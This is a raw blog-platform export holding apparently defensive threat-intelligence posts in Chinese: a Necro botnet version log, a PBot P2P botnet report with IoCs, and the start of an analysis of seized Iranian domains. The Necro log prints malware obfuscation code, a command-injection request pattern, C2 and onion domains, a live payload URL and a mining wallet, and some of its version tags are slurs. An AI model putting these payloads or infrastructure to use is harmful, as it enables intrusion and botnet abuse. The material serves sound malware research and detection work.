'147.135.208.44:9095', \n '188.166.34.137:9000', '103.233.206.22:179', '161.97.71.22:9000', \n '54.161.239.214:9050', '194.5.178.150:666', '144.91.74.241:9080', \n '134.209.230.13:8080', '201.40.122.152:9050', '206.81.27.29:8080', \n '127.0.0.1:9050'\n]\n```\n* DGA种子：0x7774DEAD，对应活跃的CC：\n * ntxkg0la99w.zapto.org\n\n这个版本是Necro首次加入DGA，并且使用Tor网络，更多的细节，可以参考我们之前的文章[Necro再次升级，使用Tor+动态域名DGA 双杀Windows&Linux](__GHOST_URL__/necro-shi-yong-tor-dong-tai-yu-ming-dga-shuang-sha-windows-linux/)\n\n### 更新时间：03.15 \n* 样本哈希：b8bbb2756b4e078300c2b7bd1ec56f02\n* 版本标志：gayniggerfag\n* 功能更新：新增了ssh 爆破\n\n### 更新时间：03.19\n* 样本哈希：4c34f8ac565f46a034ee6ea53b231b2c\n* 版本标志：gayniggerfag\n* 功能更新：新增一个漏洞利用 CVE-2021-21972\n\n### 更新时间：04.12\n* 样本哈希：5d4524e8e44ed168aec27123f8e35649\n* 版本标志：gayniggerfag\n* 功能更新：新增win32gui调用，尝试隐藏win下的python.exe窗口\n\n### 更新时间：04.27\n* 样本哈希：11b5b3b577b8748b0b46f4fb565a0160\n* 版本标志：gayniggerfag\n* 传播混淆算法更新：\n```\ndef WxWBFfmMw(s):\n zHRuQPeoWfu = [148, 29, 187, 193, 114, 53, 143, 138, 26]\n return ''.join([chr(ord(c) ^ zHRuQPeoWfu[i % len(zHRuQPeoWfu)]) for i, c in enumerate(s)])\n```\n\n* 功能更新：\n * ssh爆破码表更新，新增很多用户名密码对数据\n * 新增漏洞利用：CVE-2017-16921\n\n### 更新时间：05.09\n* 样本哈希：bf07d1c8e99ac17b11399327f3d818b4\n* 版本标志：gayniggerfag\n* 功能更新：\n * 新增漏洞利用 CVE_2021_29003\n* DGA种子更新： 0x7228827A，对应新活跃的dga域名：\n * can6dodp.servepics.com\n * ngiwge486ln9daoo.hopto.org\n\n"}],["markdown",{"markdown":"### 更新时间：05.18\n* 样本哈希：f9ffcd2ef243a1c4942cdeeab20e4e8c\n* 版本标志：internationalCyberWarefareV3\n* 功能更新：\n * 新增利用：CVE-2019-12725\n * 新增利用：未知设备的RCE：“GET /nrdh.php?cmd=${cmd}”\n * SMB 扫描利用\n * 取消了ssdp DRDoS 攻击\n* 代理IP池更新：\n```\n[\n '195.123.234.176:9051', '172.105.249.157:8080', '46.28.207.160:9051', \n '185.35.223.76:9050', '45.62.217.48:8383', '146.59.13.151:9999', \n '185.212.129.190:9151', '185.212.129.193:9160', '185.212.131.56:9151', \n '185.212.129.216:9160', '91.198.137.31:3569', '167.172.123.221:9200', \n '59.12.222.76:9050', '95.179.132.241:9050', '167.71.7.83:9050', \n '164.68.123.119:9200', '45.32.171.166:9050', '207.201.218.182:9051', \n '185.212.129.199:9151', '54.221.163.38:9050', '159.89.155.142:9090', \n '192.71.244.89:9050', '185.162.93.62:9050', '185.212.129.86:9151',\n '185.212.128.75:9160', '45.79.72.85:9050', '18.218.229.116:4001',\n '185.212.131.61:9151', '45.90.59.40:9051', '45.84.191.82:10001',\n '159.69.10.250:9050', '199.241.139.7:9050', '54.243.171.221:9050',\n '185.224.134.251:9100', '149.202.9.7:9898', '24.216.19.234:9050',\n '91.237.71.5:9216', '165.22.79.241:9050', '50.16.118.56:9050', \n '8.208.90.167:8852'\n]\n```\n\n* 放弃DGA，使用固定的Tor CC：\n * bp65pce2vsk7wpvy2fyehel25ovw4v7nve3lknwzta7gtiuy6jm7l4yd.onion.ws\n * o4hlcckwlbcy7qhhohqswpqla6wx7c5xmsvk3k4rohknng4nofvgz5id.onion\n * p2l44qilgm433bad5gbszb4mluxuejwkjaaon767m5dzuuc7mjqhcead.onion\n * 3og7wipgh3ruavi7gd6y3uzhcurazasln55hb6hboiavyk6pugkcdpqd.onion\n\n* 传播混淆算法更新：\n```\nnmask = 'nmask#\\xa6\\x16X\\x90\\xba;\\x85\\x8ermEtD\\xb4l\\x10r\\xc7\\x91,a\\x06\\xea\\x00`\\xf072\\x94'\ndef PIfmMyYaBR(s):\n global nmask\n return ''.join([chr(ord(c) ^ ord(nmask[i % len(nmask)])) for i, c in enumerate(s)])\n```\n\n\n\n### 更新时间：05.22\n* 样本哈希：43dda4527333a14b960444af90bf51b3\n* 版本标志：internationalCyberWarefareV4\n* 功能更新：\n * 取消了上一个版本的SMB渗透逻辑，新增SMB用户名密码爆破+命令执行\n * 针对NT系统，使用 schtasks /CREATE 新增计划任务保证自身执行\n\n* 传播混淆算法更新：\n``` python\ndef XnRFWYoI(s):\n nmask='nmask\\xc3\\xf6\\xe3\\xfa\\x44\\x60\\x1a\\x6f\\x12\\x76\\x2b\\x9a\\xfa\\xac\\xff\\xde\\x9e\\x8d\\xd8\\x49\\x12\\x60\\x2d\\x2f\\x7c\\x04\\x57\\x1c\\x55\\x28\\x77\\x05\\xf4\\x5d\\x0c\\x53\\xbb\\xa9\\x85\\x13\\xa8\\x61\\x70\\xd5\\xe2\\xeb\\x11\\x23\\x49\\x9d\\x5f\\xea\\xa7\\xe6\\x11\\xd9\\xf9\\x25\\x4e\\x02\\x68\\x81\\x25\\x88\\xad\\x69\\x6e\\x50\\x05\\xcc\\x96\\xf1\\x22\\x65\\x67\\x2b\\x64\\x65\\xed\\x70\\xec\\x3b\\x2f\\xf2\\x6b\\x99\\x41\\x5d\\xbf\\xca\\x5e\\xd4\\xa1\\xec\\x5d\\x53\\x93\\x2c\\x56\\xef\\x6a\\xdb\\xae\\x1f\\xd0\\xf7\\x28\\x54\\x0b\\x15\\x49\\x26\\x9e\\xe7\\xe6\\xdc\\x5b\\x57\\xea\\x42\\x00\\xbb\\xd8\\x06\\x10\\x50\\x03\\xc5'\n return ''.join([chr(ord(c) ^ ord(nmask[i % len(nmask)])) for i, c in enumerate(s)])\n```\n\n\n### 更新时间：05.23\n* 样本哈希：9467b6ea2515b2da370e86f6020cd78e\n* 版本标志：internationalCyberWarefareV5.2_repz\n* 功能更新：\n * 新增telnet扫描渗透来传播自身\n * 新增“assault”指令，可疑对一个IP段发起UDPflood攻击\n * 下载rootkit的时候，同时下载xmrig.exe 用于挖矿，配置信息为：\n * 矿池：pool.supportxmr.com:5555\n * 钱包：45iHeQwQaunWXryL9YZ2egJxKvWBtWQUE4PKitu1VwYNUqkhHt6nyCTQb2dbvDRqDPXveNq94DG9uTndKcWLYNoG2uonhgH\n\n* 代理IP池更新：\n```\n[\n '195.123.234.176:9051','46.28.207.160:9051','185.35.223.76:9050',\n '45.62.217.48:8383','146.59.13.151:9999','185.212.129.190:9151',\n '185.212.129.193:9160','185.212.131.56:9151','185.212.129.216:9160',\n '91.198.137.31:3569','161.97.66.62:1000','192.249.127.96:22',\n '185.212.131.72:9151','165.232.72.180:666','172.104.56.209:9050',\n '194.5.178.42:9001','185.212.131.66:9151','185.212.131.65:9151',\n '185.212.131.63:9151','59.12.222.76:9050','95.179.132.241:9050',\n '167.71.7.83:9050','164.68.123.119:9200','45.32.171.166:9050',\n '207.201.218.182:9051','185.212.129.199:9151','54.221.163.38:9050',\n '185.162.93.62:9050','185.212.129.86:9151','185.212.128.75:9160',\n '45.79.72.85:9050','18.218.229.116:4001','185.212.131.61:9151',\n '45.90.59.40:9051','45.84.191.82:10001','35.239.176.86:9208',\n '159.69.10.250:9050','199.241.139.7:9050','135.148.11.150:5560',\n '91.132.139.171:9050','51.195.19.140:9050','217.115.11.186:9050',\n '178.128.84.253:9050','80.87.194.27:9050','54.243.171.221:9050',\n '185.224.134.251:9100','149.202.9.7:9898','24.216.19.234:9050',\n '91.237.71.5:9216','165.22.79.241:9050','50.16.118.56:9050',\n '8.208.90.167:8852','52.23.34.138:9050','94.181.44.45:9050',\n '49.12.104.217:9988','45.147.231.32:9050','103.216.62.26:9090',\n '95.169.186.58:9050','76.65.60.220:9050'\n]\n```\n\n* 新的CC及下载域名:\n * dui25pvlzkfzpkkc.link\n * dui25pvlzkfzpkkc.cab\n * dui25pvlzkfzpkkc.pet\n * dui25pvlzkfzpkkc.ws\n * download.service-exec.net\n * dui25pvlzkfzpkkc.onion\n\n\n### 更新时间：05.28\n* 样本哈希：9467b6ea2515b2da370e86f6020cd78e\n* 版本标志：0d044454-b0d8-4817-870c-4e115455a2cc\n* 新的CC：\n * dui25pvlzkfzpkkc.onion.ws\n * dui25pvlzkfzpkkc.onion.link\n * dui25pvlzkfzpkkc.onion.cab\n * dui25pvlzkfzpkkc.onion.pet\n"}],["markdown",{"markdown":"## 最新进展 （06.18）\n\n* 样本哈希：deca8b40ab21eea0530cf0ae08f4ac8e\n* 版本标志：0d044454-b0d8-4817-870c-4e115455a2cc\n\n我们在6月16号开始，又接连发现了necro的更新活动，在他们另外一个投递通道中的样本文件频繁在发生变化\n\n```\n2021-06-20 http://136.144.41.164/EvilObject.class 58674253074f05c623ab7b9684beaed0\n2021-06-18 http://136.144.41.164/EvilObject.class 333dd1aeb60ba0bbdbd09aff5b674c0a\n2021-06-16 http://136.144.41.164/EvilObject.class 10ba40487bd67bc946b6feb9cbf386e5\n```\n\n上述class文件同时也会投递最新的 setup.py\n```\nhttp://136.144.41.164/setup.py\tdeca8b40ab21eea0530cf0ae08f4ac8e\n```\n\n* 功能更新：\n1，5.18的时候取消了 ssh 爆破，在最新版本中又加了回来\n2，新增文件上传webshell的扫描及利用测试\n\n* 新的下载域名：\n * ccjduul4hxini64r.onion.link\n * ccjduul4hxini64r.onion.cab\n * ccjduul4hxini64r.onion.pet\n * ccjduul4hxini64r.onion.ws\n\n* 以及新的Tor CC：\n * ccjduul4hxini64r.onion\n * g2saptf4gwxg2uwhus3zbh5lorxybvymmusw7kzq3u2xkwd6cdb4raid.onion\n\n"}],["markdown",{"markdown":"\n## 小结\n\n当前necro仍在持续活跃，在CNCERT的系统中仍能实时捕捉到它最新的活动痕迹，包括Payload投递及下载记录：\n\n\n\n\n\n\n\n同时，我们可以使用DNS数据来评估necro可能的影响范围：\n\n\n\n\n\n\n\n\n\n\n这四张图是前述的necro不同阶段使用的CC域名或者下载域名，在同时间轴上的请求趋势统计，从图上可以清楚的看到necro的更新过程中不同域名的生命周期。\n\n在我们的数据视野内，这批域名的历史请求量已经超过了50万。如果使用CNCERT的数据来估算necro当前活跃的几个CC域名，其天级别请求应该稳定在在10万+/天。\n\n"}]],"markups":[],"sections":[[10,0],[10,1],[10,2],[10,3],[10,4],[1,"p",[]]],"ghostVersion":"3.0"} | 60c9c8fb3819e5000763417d |
post | null | 2021-06-18T11:27:19.000Z | 63873b9a8b1c1e0007f52fd6 | hei-hui-chan-ye | 0 | 2021-06-18T11:27:50.000Z | public | draft | null | null | noname | null | null | {"version":"0.3.1","markups":[],"atoms":[],"cards":[],"sections":[[1,"p",[[0,[],0,""]]]],"ghostVersion":"3.0"} | 60cc83173819e5000763430c |
post | null | 2021-06-22T01:46:19.000Z | 63873b9a8b1c1e0007f52fd7 | guan-yu-xin-xing-p2pjiang-shi-wang-luo-exxsdeede-fen-xi-bao-gao | 0 | 2021-09-03T11:06:41.000Z | public | draft | null | null | 关于新型P2P僵尸网络PBot的分析报告 | <!--kg-card-begin: markdown--><p>本报告由国家互联网应急中心（CNCERT）与北京奇虎科技有限公司（360）共同发布。</p>
<h1 id="">概述</h1>
<p>CNCERT监测发现从2020年以来P2P僵尸网络异常活跃，如Mozi、Pinkbot等P2P僵尸网络家族在2020年均异常活跃，感染规模大、追溯源头难且难以治理，给网络空间带来较大威胁。</p>
<p><a href="https://twitter.com/SethKingHi/status/1399320943684571136">2021-05-31</a>CNCERT和360捕获到一个全新的使用自定义P2P协议的僵尸网络。其主要功能为DDoS。（当前很多杀毒引擎将其识别为Mirai或Gafgyt家族）。正在编写本文之际，我们收到了一封来自声称是<code>Keksec</code>组织成员的作者的邮件，称想和我们讨论一些事情，并提供了几张截图用来证明他就是该Botnet的作者。从其提供的截图看，该Botnet的项目名称为<code>PBot</code>，所以我们称之为PBot。作者提供的部分截图如下：<br>
<img src="__GHOST_URL__/content/images/2021/06/p2pbot.png" alt="p2pbot" loading="lazy"></p>
<h1 id="">相关样本分析</h1>
<h2 id="">僵尸网络组织结构</h2>
<p>Pbot最独特的地方在于它实现了P2P网络通信，基于对Bot样本和控制端的逆向分析，它的简化网络结构如下所示：<br>
<img src="__GHOST_URL__/content/images/2021/06/pbot_brief.png" alt="pbot_opendir" loading="lazy"></p>
<p>事实上Pbot的功能比较简单，执行时首先会在Console输出<code>[main] bot deployed\r\n</code>字样，然后通过绑定本地端口实现单一实例，接着通过算法解密出<code>BootNode ,身份认证KEY</code>等敏感的资源信息，最后通过BootNode节点加入到P2P网络中，等待执行ControlNode下发的指令，主要有指令中DDoS攻击，开启telnet扫描传播等。其中支持的DDoS攻击方法如下所示：</p>
<ul>
<li>attacks_vector_game_killer： UDP DDos攻击，连续发送768个随机字串</li>
<li>attacks_vector_nfo_v6： 使用特定Payload对nfo务器发起TCP DDoS攻击</li>
<li>attacks_vector_plainudp： DUPDDos攻击，连续发送511个随机字串UDP包500次</li>
<li>attacks_vector_plaintcp： TCP DDoS攻击，连续发送511个随机字串TCP包2500次</li>
<li>attacks_vector_l7_ghp： HTTPDDoS攻击，连续发送HTTP数据包500次</li>
<li>attacks_vector_ovh_l7： 使用特定Payload对OVH服务器发起HTTP DDoS攻击</li>
</ul>
<p><img src="__GHOST_URL__/content/images/2021/06/pbot_attack.png" alt="pbot_opendir" loading="lazy"></p>
<p>BootNode，是一个超级节点，除了与各Bot相同的p2p通信功能之外，还具有以下功能：</p>
<ul>
<li>统计各Peer信息（Peer会向它注册，上传自身信息）</li>
<li>协助各Peer间寻找对方，BootNode保存了大量的P2P Peers列表，Bot向其注册后，可以请求一部分节点信息分享给Bot</li>
<li>承载样本，恶意shell脚本的下载服务</li>
</ul>
<p>而ControlNode，则是管理节点，主要功能为向节点发送具体的指令，如DDoS攻击，开启扫描等。</p>
<h2 id="">传播方式</h2>
<p>我们观察到PBot样本主要通过SSH/Telnet弱口令以及一些NDay漏洞传播。相关NDay漏洞如下：</p>
<table>
<thead>
<tr>
<th>漏洞</th>
<th>影响设备</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.exploit-db.com/exploits/41471">MVPower DVR Shell未经身份验证的命令执行</a></td>
<td>MVPower DVR</td>
</tr>
<tr>
<td><a href="https://securityaffairs.co/wordpress/77951/malware/iot-botnet-backdoored.html">ZTE路由器F460，F660后门命令执行</a></td>
<td>ZTE Router</td>
</tr>
<tr>
<td><a href="https://www.rapid7.com/db/modules/exploit/linux/misc/netcore_udp_53413_backdoor">Netcore路由器UDP端口53413后门</a></td>
<td>Netis Router</td>
</tr>
</tbody>
</table>
<h2 id="">感染规模</h2>
<p>2021年6月21日观测到的botnet状态如下所示，显示当前节点能看见的Bot数量为1174：<br>
<img src="__GHOST_URL__/content/images/2021/06/pbot_stats.png" alt="pbot_opendir" loading="lazy"></p>
<h1 id="ioc">IoC</h1>
<h2 id="downloaderurl">Downloader URL</h2>
<pre><code>http://205.185[.126.254/bins/controller.x86
http://205.185[.126.254/bins/exxsdee.arm7
http://205.185[.126.254/bins/exxsdee.i586
http://205.185[.126.254/ssh.sh
http://205.185[.126.254:80/bins/crsfi.arm
http://205.185[.126.254:80/bins/exxsdee.arm
http://205.185[.126.254/korpze_jaws.sh
http://205.185[.126.254/korpze.sh
http://205.185[.126.254/sv.sh
http://205.185[.126.254/korpze_jaws.sh
http://205.185[.126.254///exxsdee.mpsl
http://monke[.tw/armz.sh
http://monke[.tw/u
</code></pre>
<h2 id="loaderip">Loader IP</h2>
<pre><code>23.94.22.111 AS36352|ColoCrossing United_States|New_York|Buffalo
205.185.125.92 AS53667|FranTech_Solutions United_States|Nevada|Las_Vegas
143.198.99.95 AS2828|MCI_Communications_Services,_Inc._d/b/a_Verizon_Business United_States|United_States|Unknown
23.95.9.192 AS36352|ColoCrossing United_States|New_York|Buffalo
199.19.224.153 AS53667|FranTech_Solutions United_States|Nevada|Las_Vegas
143.198.48.62 AS2828|MCI_Communications_Services,_Inc._d/b/a_Verizon_Business United_States|United_States|Unknown
69.55.62.38 AS14061|DigitalOcean,_LLC United_States|New_York|New_York_City
199.19.225.131 AS53667|FranTech_Solutions United_States|Nevada|Las_Vegas
107.172.0.156 AS36352|ColoCrossing United_States|Texas|Dallas
</code></pre>
<h2 id="samplemd5">Sample MD5</h2>
<pre><code>4bc46deb5372d11a2600377931db71c8
0205f44954c45fb24251087635c53296
0e86f26659eb6a32a09e82e42ee5d720
3155dd24f5377de6f43ff06981a6bbf2
3255a45b2ebe187c429fd088508db6b0
3484b80b33ee8d53336090d91ad31a6b
769bc673d858b063265d331ed226464f
8de9de4e14117e3ce4dfa60dacd673ef
9cb73e83b48062432871539b3f625a21
d209fe7d62f517de8b1cf1a5697e67c2
e84a59bb18afff664e887744d8afebd0
</code></pre>
<!--kg-card-end: markdown--> | 本报告由国家互联网应急中心（CNCERT）与北京奇虎科技有限公司（360）共同发布。
概述
CNCERT监测发现从2020年以来P2P僵尸网络异常活跃，如Mozi、Pinkbot等P2P僵尸网络家族在2020年均异常活跃，感染规模大、追溯源头难且难以治理，给网络空间带来较大威胁。
2021-05-31CNCERT和360捕获到一个全新的使用自定义P2P协议的僵尸网络。其主要功能为DDoS。（当前很多杀毒引擎将其识别为Mirai或Gafgyt家族）。正在编写本文之际，我们收到了一封来自声称是Keksec组织成员的作者的邮件，称想和我们讨论一些事情，并提供了几张截图用来证明他就是该Botnet的作者。从其提供的截图看，该Botnet的项目名称为PBot，所以我们称之为PBot。作者提供的部分截图如下：
相关样本分析
僵尸网络组织结构
Pbot最独特的地方在于它实现了P2P网络通信，基于对Bot样本和控制端的逆向分析，它的简化网络结构如下所示：
事实上Pbot的功能比较简单，执行时首先会在Console输出[main] bot deployed\r\n字样，然后通过绑定本地端口实现单一实例，接着通过算法解密出BootNode ,身份认证KEY等敏感的资源信息，最后通过BootNode节点加入到P2P网络中，等待执行ControlNode下发的指令，主要有指令中DDoS攻击，开启telnet扫描传播等。其中支持的DDoS攻击方法如下所示：
* attacks_vector_game_killer： UDP DDos攻击，连续发送768个随机字串
* attacks_vector_nfo_v6： 使用特定Payload对nfo务器发起TCP DDoS攻击
* attacks_vector_plainudp： DUPDDos攻击，连续发送511个随机字串UDP包500次
* attacks_vector_plaintcp： TCP DDoS攻击，连续发送511个随机字串TCP包2500次
* attacks_vector_l7_ghp： HTTPDDoS攻击，连续发送HTTP数据包500次
* attacks_vector_ovh_l7： 使用特定Payload对OVH服务器发起HTTP DDoS攻击
BootNode，是一个超级节点，除了与各Bot相同的p2p通信功能之外，还具有以下功能：
* 统计各Peer信息（Peer会向它注册，上传自身信息）
* 协助各Peer间寻找对方，BootNode保存了大量的P2P Peers列表，Bot向其注册后，可以请求一部分节点信息分享给Bot
* 承载样本，恶意shell脚本的下载服务
而ControlNode，则是管理节点，主要功能为向节点发送具体的指令，如DDoS攻击，开启扫描等。
传播方式
我们观察到PBot样本主要通过SSH/Telnet弱口令以及一些NDay漏洞传播。相关NDay漏洞如下：
漏洞
影响设备
MVPower DVR Shell未经身份验证的命令执行
MVPower DVR
ZTE路由器F460，F660后门命令执行
ZTE Router
Netcore路由器UDP端口53413后门
Netis Router
感染规模
2021年6月21日观测到的botnet状态如下所示，显示当前节点能看见的Bot数量为1174：
IoC
Downloader URL
http://205.185[.126.254/bins/controller.x86
http://205.185[.126.254/bins/exxsdee.arm7
http://205.185[.126.254/bins/exxsdee.i586
http://205.185[.126.254/ssh.sh
http://205.185[.126.254:80/bins/crsfi.arm
http://205.185[.126.254:80/bins/exxsdee.arm
http://205.185[.126.254/korpze_jaws.sh
http://205.185[.126.254/korpze.sh
http://205.185[.126.254/sv.sh
http://205.185[.126.254/korpze_jaws.sh
http://205.185[.126.254///exxsdee.mpsl
http://monke[.tw/armz.sh
http://monke[.tw/u
Loader IP
23.94.22.111 AS36352|ColoCrossing United_States|New_York|Buffalo
205.185.125.92 AS53667|FranTech_Solutions United_States|Nevada|Las_Vegas
143.198.99.95 AS2828|MCI_Communications_Services,_Inc._d/b/a_Verizon_Business United_States|United_States|Unknown
23.95.9.192 AS36352|ColoCrossing United_States|New_York|Buffalo
199.19.224.153 AS53667|FranTech_Solutions United_States|Nevada|Las_Vegas
143.198.48.62 AS2828|MCI_Communications_Services,_Inc._d/b/a_Verizon_Business United_States|United_States|Unknown
69.55.62.38 AS14061|DigitalOcean,_LLC United_States|New_York|New_York_City
199.19.225.131 AS53667|FranTech_Solutions United_States|Nevada|Las_Vegas
107.172.0.156 AS36352|ColoCrossing United_States|Texas|Dallas
Sample MD5
4bc46deb5372d11a2600377931db71c8
0205f44954c45fb24251087635c53296
0e86f26659eb6a32a09e82e42ee5d720
3155dd24f5377de6f43ff06981a6bbf2
3255a45b2ebe187c429fd088508db6b0
3484b80b33ee8d53336090d91ad31a6b
769bc673d858b063265d331ed226464f
8de9de4e14117e3ce4dfa60dacd673ef
9cb73e83b48062432871539b3f625a21
d209fe7d62f517de8b1cf1a5697e67c2
e84a59bb18afff664e887744d8afebd0
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"\n本报告由国家互联网应急中心（CNCERT）与北京奇虎科技有限公司（360）共同发布。\n\n# 概述\nCNCERT监测发现从2020年以来P2P僵尸网络异常活跃，如Mozi、Pinkbot等P2P僵尸网络家族在2020年均异常活跃，感染规模大、追溯源头难且难以治理，给网络空间带来较大威胁。\n\n[2021-05-31](https://twitter.com/SethKingHi/status/1399320943684571136)CNCERT和360捕获到一个全新的使用自定义P2P协议的僵尸网络。其主要功能为DDoS。（当前很多杀毒引擎将其识别为Mirai或Gafgyt家族）。正在编写本文之际，我们收到了一封来自声称是`Keksec`组织成员的作者的邮件，称想和我们讨论一些事情，并提供了几张截图用来证明他就是该Botnet的作者。从其提供的截图看，该Botnet的项目名称为`PBot`，所以我们称之为PBot。作者提供的部分截图如下：\n\n\n# 相关样本分析\n## 僵尸网络组织结构\nPbot最独特的地方在于它实现了P2P网络通信，基于对Bot样本和控制端的逆向分析，它的简化网络结构如下所示：\n\n\n事实上Pbot的功能比较简单，执行时首先会在Console输出```[main] bot deployed\\r\\n```字样，然后通过绑定本地端口实现单一实例，接着通过算法解密出```BootNode ,身份认证KEY```等敏感的资源信息，最后通过BootNode节点加入到P2P网络中，等待执行ControlNode下发的指令，主要有指令中DDoS攻击，开启telnet扫描传播等。其中支持的DDoS攻击方法如下所示：\n- attacks_vector_game_killer： UDP DDos攻击，连续发送768个随机字串\n- attacks_vector_nfo_v6： 使用特定Payload对nfo务器发起TCP DDoS攻击\n- attacks_vector_plainudp： DUPDDos攻击，连续发送511个随机字串UDP包500次\n- attacks_vector_plaintcp： TCP DDoS攻击，连续发送511个随机字串TCP包2500次\n- attacks_vector_l7_ghp： HTTPDDoS攻击，连续发送HTTP数据包500次\n- attacks_vector_ovh_l7： 使用特定Payload对OVH服务器发起HTTP DDoS攻击\n\n\n\nBootNode，是一个超级节点，除了与各Bot相同的p2p通信功能之外，还具有以下功能：\n\n- 统计各Peer信息（Peer会向它注册，上传自身信息）\n- 协助各Peer间寻找对方，BootNode保存了大量的P2P Peers列表，Bot向其注册后，可以请求一部分节点信息分享给Bot\n- 承载样本，恶意shell脚本的下载服务\n\n而ControlNode，则是管理节点，主要功能为向节点发送具体的指令，如DDoS攻击，开启扫描等。\n\n## 传播方式\n我们观察到PBot样本主要通过SSH/Telnet弱口令以及一些NDay漏洞传播。相关NDay漏洞如下：\n\n| 漏洞 | 影响设备 |\n| ------------- | ---------------- |\n| [MVPower DVR Shell未经身份验证的命令执行](https://www.exploit-db.com/exploits/41471) | MVPower DVR |\n| [ZTE路由器F460，F660后门命令执行](https://securityaffairs.co/wordpress/77951/malware/iot-botnet-backdoored.html) | ZTE Router |\n| [Netcore路由器UDP端口53413后门](https://www.rapid7.com/db/modules/exploit/linux/misc/netcore_udp_53413_backdoor) | Netis Router|\n\n\n## 感染规模\n\n2021年6月21日观测到的botnet状态如下所示，显示当前节点能看见的Bot数量为1174：\n\n\n# IoC\n## Downloader URL\n```\nhttp://205.185[.126.254/bins/controller.x86\nhttp://205.185[.126.254/bins/exxsdee.arm7\nhttp://205.185[.126.254/bins/exxsdee.i586\nhttp://205.185[.126.254/ssh.sh\nhttp://205.185[.126.254:80/bins/crsfi.arm\nhttp://205.185[.126.254:80/bins/exxsdee.arm\nhttp://205.185[.126.254/korpze_jaws.sh\nhttp://205.185[.126.254/korpze.sh\nhttp://205.185[.126.254/sv.sh\nhttp://205.185[.126.254/korpze_jaws.sh\nhttp://205.185[.126.254///exxsdee.mpsl\nhttp://monke[.tw/armz.sh\nhttp://monke[.tw/u\n```\n\n## Loader IP\n```\n23.94.22.111 AS36352|ColoCrossing United_States|New_York|Buffalo\n205.185.125.92 AS53667|FranTech_Solutions United_States|Nevada|Las_Vegas\n143.198.99.95 AS2828|MCI_Communications_Services,_Inc._d/b/a_Verizon_Business United_States|United_States|Unknown\n23.95.9.192 AS36352|ColoCrossing United_States|New_York|Buffalo\n199.19.224.153 AS53667|FranTech_Solutions United_States|Nevada|Las_Vegas\n143.198.48.62 AS2828|MCI_Communications_Services,_Inc._d/b/a_Verizon_Business United_States|United_States|Unknown\n69.55.62.38 AS14061|DigitalOcean,_LLC United_States|New_York|New_York_City\n199.19.225.131 AS53667|FranTech_Solutions United_States|Nevada|Las_Vegas\n107.172.0.156 AS36352|ColoCrossing United_States|Texas|Dallas\n```\n\n## Sample MD5\n```\n4bc46deb5372d11a2600377931db71c8\n0205f44954c45fb24251087635c53296\n0e86f26659eb6a32a09e82e42ee5d720\n3155dd24f5377de6f43ff06981a6bbf2\n3255a45b2ebe187c429fd088508db6b0\n3484b80b33ee8d53336090d91ad31a6b\n769bc673d858b063265d331ed226464f\n8de9de4e14117e3ce4dfa60dacd673ef\n9cb73e83b48062432871539b3f625a21\nd209fe7d62f517de8b1cf1a5697e67c2\ne84a59bb18afff664e887744d8afebd0\n```\n"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"} | 60d140eb3819e500076343c2 |
post | null | 2021-06-23T11:47:32.000Z | 63873b9a8b1c1e0007f52fd8 | analysis-of-seized-iran-domains | 0 | 2021-07-02T15:00:05.000Z | public | published | __GHOST_URL__/content/images/2021/06/alalamtvnet.jpeg | 2021-06-25T06:05:00.000Z | 被拦截的伊朗域名的快速分析 | <!--kg-card-begin: markdown--><p>伊朗新闻网站被美国阻断的事成为了最近的新闻热点，<a href="https://3w.huanqiu.com/a/c36dc8/43egq3g6ULK">报道</a>的主要内容是：</p>
<blockquote>
<p>美国司法部查封36个伊朗的新闻网站，其中许多网站与伊朗的“虚假信息活动”有关。这些网站首页通知显示，根据美国法律，这些网站已被美国政府查封，通知上还附有美国联邦调查局和美国商务部产业安全局的印徽。</p>
</blockquote>
<p>到底哪些新闻站被拦截了，我们查询了几个新闻源都没有给出全部被拦截的网站列表。<br>
其实这种从域名角度做拦截的手段，总是会在大网的DNS/whois数据中留下踪迹。我们利用这些网络基础数据分析出了32+2个被拦截的伊朗新闻网站的域名，其中的2个域名是在今年3月和4月份被拦截的；通过技术分析，也确认这些修改是直接通过注册局进行的改动。被拦截的域名的详细列表见文末。</p>
<h2 id="">分析</h2>
<p>我们拿其中被拦截的域名之一alalamtv.net 来做一个分析(见<a href="https://www.reuters.com/world/middle-east/notices-iran-linked-websites-say-they-have-been-seized-by-us-2021-06-22/">相关新闻报道</a>)。</p>
<h3 id="dns">DNS记录</h3>
<p>从该域名出发，我们利用PassivedDNS记录可以看到，其NS服务器和IP地址在6月23号的凌晨3点40开始发生了变化，无论NS服务器还是IP地址都切换到了亚马逊的服务器。</p>
<img src="__GHOST_URL__/content/images/2021/06/rrset.jpg" width="860px" />
<h3 id="whois">whois记录</h3>
<p>先说结论：通过对不同域名的whois数据来看，并比对了同一域名在注册局和注册商（注册局和注册商的解释见下）返回的whois数据，推出是由对应的注册局绕过来域名拥有者和注册商直接对域名的解析信息作的修改。</p>
<p>下面是具体的技术分析细节。</p>
<h4 id="whois">whois数据分析</h4>
<p>在介绍利用whois数据分析被拦截的域名之前，先对域名注册流程，注册过程中涉及到的相关实体和whois数据的相关信息做一下简单介绍。</p>
<blockquote>
<p><em><strong>注册人</strong></em><br>
注册域名的个人或者单位，是域名所有者。</p>
<p><em><strong>注册商</strong></em><br>
注册商是是一个商业实体或组织，它们由互联网名称与数字地址分配机构（ICANN）或者一个国家性的国家代码顶级域名（ccTLD）域名注册局委派，以在指定的域名注册数据库中管理互联网域名，向公众提供此类服务。并负责提供DNS解析、域名变更过户、域名续费等操作。比如国内的阿里云或者国外的Godday就是域名注册商。</p>
<p><em><strong>注册局</strong></em><br>
注册局是顶级域名下注册的域名的数据库的操作者。比如 .com/.net的域名注册局为<a href="https://www.verisign.com/">Verisign公司</a>，.cn域名的域名注册局为<a href="http://www.cnnic.cn/">cnnic</a>。注册局维护自己负责的顶级域名的数据库。</p>
<p><em><strong>域名注册的流程</strong></em><br>
一般的域名注册流程是域名注册人向注册商提出注册申请，注册商将注册信息（域名注册人，注册时间，过期时间等等）传给注册局，注册局将必要信息同步到顶级域名数据库。这样你的域名就可以在互联网上解析，被人访问到了。</p>
<p>以360的域名360.cn为例： 注册人（北京奇虎科技有限公司) --> 注册商（厦门易名科技股份有限公司） --> 注册局（中国互联网信息中心CNNIC）</p>
<p><em><strong>什么是域名的Whois数据</strong></em><br>
